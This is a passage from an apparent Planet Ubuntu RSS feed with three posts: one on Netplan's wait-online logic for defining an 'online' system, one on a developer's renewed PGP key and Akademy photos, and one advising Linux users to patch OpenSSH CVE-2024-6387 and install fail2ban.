<figure class="aligncenter size-large"><a href="https://blog.slyon.de/wp-content/uploads/2024/10/gradient-network-connection-background_23-2148874050.avif"><img fetchpriority="high" decoding="async" width="1024" height="569" src="https://blog.slyon.de/wp-content/uploads/2024/10/gradient-network-connection-background_23-2148874050-1024x569.avif" alt="" class="wp-image-2424" srcset="https://blog.slyon.de/wp-content/uploads/2024/10/gradient-network-connection-background_23-2148874050-1024x569.avif 1024w, https://blog.slyon.de/wp-content/uploads/2024/10/gradient-network-connection-background_23-2148874050-300x167.avif 300w, https://blog.slyon.de/wp-content/uploads/2024/10/gradient-network-connection-background_23-2148874050-768x427.avif 768w, https://blog.slyon.de/wp-content/uploads/2024/10/gradient-network-connection-background_23-2148874050.avif 1380w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Designed by <a href="https://www.freepik.com">Freepik</a></figcaption></figure>
</div>


<h2 class="wp-block-heading">What is an “online” system?</h2>



<p class="wp-block-paragraph">Networking is a complex topic, and there is lots of confusion around the definition of an “online” system. Sometimes the boot process gets delayed up to two minutes, because the system still waits for one or more network interfaces to be ready. Systemd provides the <a href="https://systemd.io/NETWORK_ONLINE/"><strong>network-online.target</strong></a> that other service units can rely on, if they are deemed to require network connectivity. But what does “online” actually mean in this context, is a link-local IP address enough, do we need a routable gateway and how about DNS name resolution?</p>



<p class="wp-block-paragraph">The requirements for an “online” network interface depend very much on the services using an interface. For some services it might be good enough to reach their local network segment (e.g. to announce Zeroconf services), while others need to reach domain names (e.g. to mount a NFS share) or reach the global internet to run a web server. On the other hand, the implementation of <strong>network-online.target</strong> varies, depending on which networking daemon is in use, e.g. <strong>systemd-networkd-wait-online.service</strong> or <strong>NetworkManager-wait-online.service</strong>. For Ubuntu, we created a <a href="https://discourse.ubuntu.com/t/spec-definition-of-an-online-system/27838">specification</a> that describes what we as a distro expect an “online” system to be. Having a definition in place, we are able to tackle the <a href="https://bugs.launchpad.net/ubuntu/+bugs?field.searchtext=&amp;orderby=-importance&amp;field.status%3Alist=NEW&amp;field.status%3Alist=OPINION&amp;field.status%3Alist=INVALID&amp;field.status%3Alist=WONTFIX&amp;field.status%3Alist=EXPIRED&amp;field.status%3Alist=CONFIRMED&amp;field.status%3Alist=TRIAGED&amp;field.status%3Alist=INPROGRESS&amp;field.status%3Alist=FIXCOMMITTED&amp;field.status%3Alist=FIXRELEASED&amp;field.status%3Alist=INCOMPLETE_WITH_RESPONSE&amp;field.status%3Alist=INCOMPLETE_WITHOUT_RESPONSE&amp;assignee_option=any&amp;field.assignee=&amp;field.bug_reporter=&amp;field.bug_commenter=&amp;field.subscriber=&amp;field.structural_subscriber=&amp;field.component-empty-marker=1&amp;field.tag=network-online-ordering&amp;field.tags_combinator=ANY&amp;field.status_upstream-empty-marker=1&amp;field.has_cve.used=&amp;field.omit_dupes.used=&amp;field.omit_dupes=on&amp;field.affects_me.used=&amp;field.has_no_package.used=&amp;field.has_patch.used=&amp;field.has_branches.used=&amp;field.has_branches=on&amp;field.has_no_branches.used=&amp;field.has_no_branches=on&amp;field.has_blueprints.used=&amp;field.has_blueprints=on&amp;field.has_no_blueprints.used=&amp;field.has_no_blueprints=on&amp;search=Search">network-online-ordering</a> issues that got reported over the years and can work out solutions to avoid <a href="https://bugs.launchpad.net/netplan/+bug/2060311">delayed boot</a> times on Ubuntu systems.</p>



<p class="wp-block-paragraph">In essence, we want systems to reach the following networking state to be considered online:</p>



<ol class="wp-block-list">
<li>Do not wait for “optional” interfaces to receive network configuration</li>



<li>Have IPv6 and/or IPv4 “link-local” addresses on every network interface</li>



<li>Have at least one interface with a globally routable connection</li>



<li>Have functional domain name resolution on any routable interface</li>
</ol>



<h2 class="wp-block-heading">A common implementation</h2>



<p class="wp-block-paragraph"><strong>NetworkManager</strong> and <strong>systemd-networkd</strong> are two very common networking daemons used on modern Linux systems. But they originate from different contexts and therefore show different behaviours in certain scenarios, such as <strong>wait-online</strong>. Luckily, on Ubuntu we already have <a href="https://ubuntu.com/blog/a-declarative-approach-to-linux-networking-with-netplan"><strong>Netplan</strong></a> as a unification layer on top of those networking daemons, that allows for common network configuration, and can also be used to tweak the <strong>wait-online</strong> logic.</p>



<p class="wp-block-paragraph">With the recent release of <a href="https://blog.slyon.de/2024/08/14/netplan-v1-1-released/">Netplan v1.1</a> we introduced initial functionality to tweak the behaviour of the <strong>systemd-networkd-wait-online.service</strong>, as used on Ubuntu Server systems. When <strong>Netplan</strong> is used to drive the <strong>systemd-networkd</strong> backend, it will emit an override configuration file in <strong>/run/systemd/system/systemd-networkd-wait-online.service.d/10-netplan.conf</strong>, listing the specific <a href="https://github.com/canonical/netplan/pull/456">non-optional interfaces that should receive link-local IP configuration</a>. In parallel to that, it defines a list of network interfaces that Netplan detected to be potential global connections, and waits for any of those <a href="https://github.com/canonical/netplan/pull/482">interfaces to reach a globally routable state</a>.</p>



<p class="wp-block-paragraph">Such override config file might look like this:</p>



<pre class="wp-block-preformatted"><code>[Unit]<br>ConditionPathIsSymbolicLink=/run/systemd/generator/network-online.target.wants/systemd-networkd-wait-online.service<br><br>[Service]<br>ExecStart=<br>ExecStart=/lib/systemd/systemd-networkd-wait-online -i eth99.43:carrier -i lo:carrier -i eth99.42:carrier -i eth99.44:degraded -i bond0:degraded<br>ExecStart=/lib/systemd/systemd-networkd-wait-online --any -o routable -i eth99.43 -i eth99.45 -i bond0</code></pre>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">In addition to the new features implemented in Netplan, we reached out to upstream systemd, proposing an <a href="https://github.com/systemd/systemd/pull/34640">enhancement to the <strong>systemd-networkd-wait-online</strong> service</a>, integrating it with <strong>systemd-resolved</strong> to check for the availability of DNS name resolution. Once this is implemented upstream, we’re able to fully control the <strong>systemd-networkd</strong> backend on Ubuntu Server systems, to behave consistently and according to the definition of an “online” system that was lined out above.</p>



<h2 class="wp-block-heading">Future work</h2>



<p class="wp-block-paragraph">The story doesn’t end there, because Ubuntu Desktop systems are using <strong>NetworkManager</strong> as their networking backend. This daemon provides its very own <strong>nm-online</strong> utility, utilized by the <strong>NetworkManager-wait-online</strong> systemd service. It implements a much higher-level approach, looking at the networking daemon in general instead of the individual network interfaces. By default, it considers a system to be online once every “autoconnect” profile got activated (or failed to activate), meaning that either a IPv4 or IPv6 address got assigned.</p>



<p class="wp-block-paragraph">There are considerable enhancements to be implemented to this tool, for it to be controllable in a fine-granular way similar to <strong>systemd-networkd-wait-online</strong>, so that it can be instructed to wait for specific networking states on selected interfaces.</p>



<h2 class="wp-block-heading">A note of caution</h2>



<p class="wp-block-paragraph">Making a service depend on <strong>network-online.target</strong> is considered an antipattern in most cases. This is because networking on Linux systems is very dynamic and the systemd target can only ever reflect the networking state at a single point in time. It cannot guarantee this state to be remained over the uptime of your system and has the potentially to delay the boot process considerably. Cables can be unplugged, wireless connectivity can drop, or remote routers can go down at any time, affecting the connectivity state of your local system. Therefore, “instead of wondering what to do about network.target, please just fix your program to be friendly to dynamically changing network configuration.” [<a href="https://systemd.io/NETWORK_ONLINE/#should-network-onlinetarget-be-used">source</a>].</p>]]></description>
      <source url="https://blog.slyon.de/category/ubuntu/feed/">Lukas Märdian</source>
    </item>
    <item>
      <title>git revert name and Akademy</title>
      <link>https://jriddell.org/2024/09/12/git-revert-name-and-akademy/</link>
      <guid isPermaLink="true">https://jriddell.org/2024/09/12/git-revert-name-and-akademy/</guid>
      <pubDate>Thu, 12 Sep 2024 14:33:09 GMT</pubDate>
      <description><![CDATA[<p>I reverted my name back to Jonathan Riddell and have now made a new uid for my PGP key, you can get the updated one on <a href="https://keyserver.ubuntu.com/pks/lookup?op=vindex&amp;search=0xd7574483bb57b18d">keyserver.ubuntu.com</a> or <a href="https://jriddell.org/contact/">my contact page</a> or <a href="https://launchpad.net/~jr">my Launchpad page</a>. </p>



<p>Here&#8217;s some pics from Akademy</p>



<figure class="wp-block-image size-large"><a href="https://jriddell.org/wp-content/uploads/2024/09/image-1.png"><img fetchpriority="high" decoding="async" width="939" height="1024" src="https://jriddell.org/wp-content/uploads/2024/09/image-1-939x1024.png" alt="" class="wp-image-1595" srcset="https://jriddell.org/wp-content/uploads/2024/09/image-1-939x1024.png 939w, https://jriddell.org/wp-content/uploads/2024/09/image-1-275x300.png 275w, https://jriddell.org/wp-content/uploads/2024/09/image-1-768x837.png 768w, https://jriddell.org/wp-content/uploads/2024/09/image-1.png 941w" sizes="(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://jriddell.org/wp-content/uploads/2024/09/image-2.png"><img decoding="async" width="1024" height="781" src="https://jriddell.org/wp-content/uploads/2024/09/image-2-1024x781.png" alt="" class="wp-image-1596" srcset="https://jriddell.org/wp-content/uploads/2024/09/image-2-1024x781.png 1024w, https://jriddell.org/wp-content/uploads/2024/09/image-2-300x229.png 300w, https://jriddell.org/wp-content/uploads/2024/09/image-2-768x586.png 768w, https://jriddell.org/wp-content/uploads/2024/09/image-2.png 1292w" sizes="(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://jriddell.org/wp-content/uploads/2024/09/image-3.png"><img decoding="async" width="1024" height="780" src="https://jriddell.org/wp-content/uploads/2024/09/image-3-1024x780.png" alt="" class="wp-image-1597" srcset="https://jriddell.org/wp-content/uploads/2024/09/image-3-1024x780.png 1024w, https://jriddell.org/wp-content/uploads/2024/09/image-3-300x229.png 300w, https://jriddell.org/wp-content/uploads/2024/09/image-3-768x585.png 768w, https://jriddell.org/wp-content/uploads/2024/09/image-3.png 1291w" sizes="(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://jriddell.org/wp-content/uploads/2024/09/image-4.png"><img loading="lazy" decoding="async" width="1024" height="639" src="https://jriddell.org/wp-content/uploads/2024/09/image-4-1024x639.png" alt="" class="wp-image-1598" srcset="https://jriddell.org/wp-content/uploads/2024/09/image-4-1024x639.png 1024w, https://jriddell.org/wp-content/uploads/2024/09/image-4-300x187.png 300w, https://jriddell.org/wp-content/uploads/2024/09/image-4-768x479.png 768w, https://jriddell.org/wp-content/uploads/2024/09/image-4-1536x958.png 1536w, https://jriddell.org/wp-content/uploads/2024/09/image-4.png 1577w" sizes="auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://jriddell.org/wp-content/uploads/2024/09/image-5.png"><img loading="lazy" decoding="async" width="1024" height="639" src="https://jriddell.org/wp-content/uploads/2024/09/image-5-1024x639.png" alt="" class="wp-image-1599" srcset="https://jriddell.org/wp-content/uploads/2024/09/image-5-1024x639.png 1024w, https://jriddell.org/wp-content/uploads/2024/09/image-5-300x187.png 300w, https://jriddell.org/wp-content/uploads/2024/09/image-5-768x479.png 768w, https://jriddell.org/wp-content/uploads/2024/09/image-5-1536x958.png 1536w, https://jriddell.org/wp-content/uploads/2024/09/image-5.png 1577w" sizes="auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://jriddell.org/wp-content/uploads/2024/09/image-6.png"><img loading="lazy" decoding="async" width="659" height="1024" src="https://jriddell.org/wp-content/uploads/2024/09/image-6-659x1024.png" alt="" class="wp-image-1600" srcset="https://jriddell.org/wp-content/uploads/2024/09/image-6-659x1024.png 659w, https://jriddell.org/wp-content/uploads/2024/09/image-6-193x300.png 193w, https://jriddell.org/wp-content/uploads/2024/09/image-6.png 693w" sizes="auto, (max-width: 659px) 100vw, 659px" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://jriddell.org/wp-content/uploads/2024/09/image-7.png"><img loading="lazy" decoding="async" width="562" height="810" src="https://jriddell.org/wp-content/uploads/2024/09/image-7.png" alt="" class="wp-image-1601" srcset="https://jriddell.org/wp-content/uploads/2024/09/image-7.png 562w, https://jriddell.org/wp-content/uploads/2024/09/image-7-208x300.png 208w" sizes="auto, (max-width: 562px) 100vw, 562px" /></a></figure>]]></description>
      <source url="http://jriddell.org/feed/?tag=planetubuntu">Jonathan Riddell</source>
    </item>
    <item>
      <title>Critical OpenSSH Vulnerability (CVE-2024-6387): Please Update Your Linux</title>
      <link>http://blog.harisfazillah.info/2024/07/critical-openssh-vulnerability-cve-2024.html</link>
      <guid isPermaLink="true">http://blog.harisfazillah.info/2024/07/critical-openssh-vulnerability-cve-2024.html</guid>
      <pubDate>Thu, 04 Jul 2024 21:35:00 GMT</pubDate>
      <description><![CDATA[<p>&nbsp;</p><p dir="ltr" id="docs-internal-guid-ffe8de89-7fff-0a84-0060-bc8c7096d146" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">Critical OpenSSH Vulnerability (CVE-2024-6387): Please Update Your Linux</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">A critical security flaw (CVE-2024-6387) has been identified in OpenSSH, a program widely used for secure remote connections. This vulnerability could allow attackers to completely compromise affected systems (remote code execution).</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">Who is Affected?</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Only specific versions of OpenSSH (8.5p1 to 9.7p1) running on glibc-based Linux systems are vulnerable. Newer versions are not affected.</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">What to Do?</span></p><ol style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-family: Arial, sans-serif; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">Update OpenSSH:</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> Check your version by running </span><span style="background-color: transparent; color: #188038; font-family: 'Roboto Mono',monospace; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">ssh -V</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> in your terminal. If you're using a vulnerable version (8.5p1 to 9.7p1), update immediately.</span></p></li><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-family: Arial, sans-serif; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">Temporary Workaround (Use with Caution):</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> Disabling the login grace timeout (setting </span><span style="background-color: transparent; color: #188038; font-family: 'Roboto Mono',monospace; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">LoginGraceTime=0</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> in </span><span style="background-color: transparent; color: #188038; font-family: 'Roboto Mono',monospace; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">sshd_config</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">) can mitigate the risk, but be aware it increases susceptibility to denial-of-service attacks.</span></p></li><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-family: Arial, sans-serif; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">Recommended Security Enhancement:</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> Install </span><span style="background-color: transparent; color: #188038; font-family: 'Roboto Mono',monospace; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">fail2ban</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> to prevent brute-force attacks. This tool automatically bans IPs with too many failed login attempts.</span></p></li></ol><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">Optional: IP Whitelisting for Increased Security</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Once you have </span><span style="background-color: transparent; color: #188038; font-family: 'Roboto Mono',monospace; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">fail2ban</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> installed, consider allowing only specific IP addresses to access your server via SSH. This can be achieved using:</span></p><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-family: Arial, sans-serif; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 12pt;"><span style="background-color: transparent; color: #188038; font-family: 'Roboto Mono',monospace; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">ufw</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> for Ubuntu</span></p></li><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-family: Arial, sans-serif; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 0pt;"><span style="background-color: transparent; color: #188038; font-family: 'Roboto Mono',monospace; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">firewalld</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> for AlmaLinux or Rocky Linux</span></p></li></ul><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">Additional Resources</span></p><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-family: Arial, sans-serif; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">OpenSSH Security Page:<span style="color: #1155cc;"> <a href="https://www.openssh.com/security.html">https://www.openssh.com/security.html</a></span></span></p></li><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-family: Arial, sans-serif; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">DevSec Hardening Framework - SSH Baseline:</span><a href="https://dev-sec.io/" style="text-decoration: none;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> </span><span face="Arial,sans-serif" style="-webkit-text-decoration-skip: none; background-color: transparent; color: #1155cc; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration-skip-ink: none; text-decoration: underline; vertical-align: baseline; white-space: pre;">https://dev-sec.io/</span></a></p></li><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-family: Arial, sans-serif; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Fail2ban:</span><a href="https://github.com/fail2ban" style="text-decoration: none;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> </span><span face="Arial,sans-serif" style="-webkit-text-decoration-skip: none; background-color: transparent; color: #1155cc; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration-skip-ink: none; text-decoration: underline; vertical-align: baseline; white-space: pre;">https://github.com/fail2ban</span></a></p></li></ul><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">About Fail2ban</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Fail2ban monitors log files like </span><span style="background-color: transparent; color: #188038; font-family: 'Roboto Mono',monospace; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">/var/log/auth.log</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> and bans IPs with excessive failed login attempts. It updates firewall rules to block connections from these IPs for a set duration. Fail2ban is pre-configured to work with common log files and can be easily customized for other logs and errors.</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">Installation Instructions:</span></p><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-family: Arial, sans-serif; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">Ubuntu:</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> </span><span style="background-color: transparent; color: #188038; font-family: 'Roboto Mono',monospace; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">sudo apt install fail2ban</span></p></li><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-family: Arial, sans-serif; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">AlmaLinux/Rocky Linux:</span><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"> </span><span style="background-color: transparent; color: #188038; font-family: 'Roboto Mono',monospace; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">sudo dnf install fail2ban</span></p></li></ul><br /><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;">About DevSec Hardening Framework</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 12pt; margin-top: 12pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">The DevSec Hardening Framework is a set of tools and resources that helps automate the process of securing your server infrastructure. It addresses the challenges of manually hardening servers, which can be complex, error-prone, and time-consuming, especially when managing a large number of servers. The framework integrates with popular infrastructure automation tools like Ansible, Chef, and Puppet. It provides pre-configured modules that automatically apply secure settings to your operating systems and services such as OpenSSH, Apache and MySQL. This eliminates the need for manual configuration and reduces the risk of errors.</span></p><br /><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">Prepare by LinuxMalaysia with the help of Google Gemini</span></p><br /><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">5 July 2024</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">&nbsp;</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">In Google Doc Format&nbsp;</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">&nbsp;</span></p><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 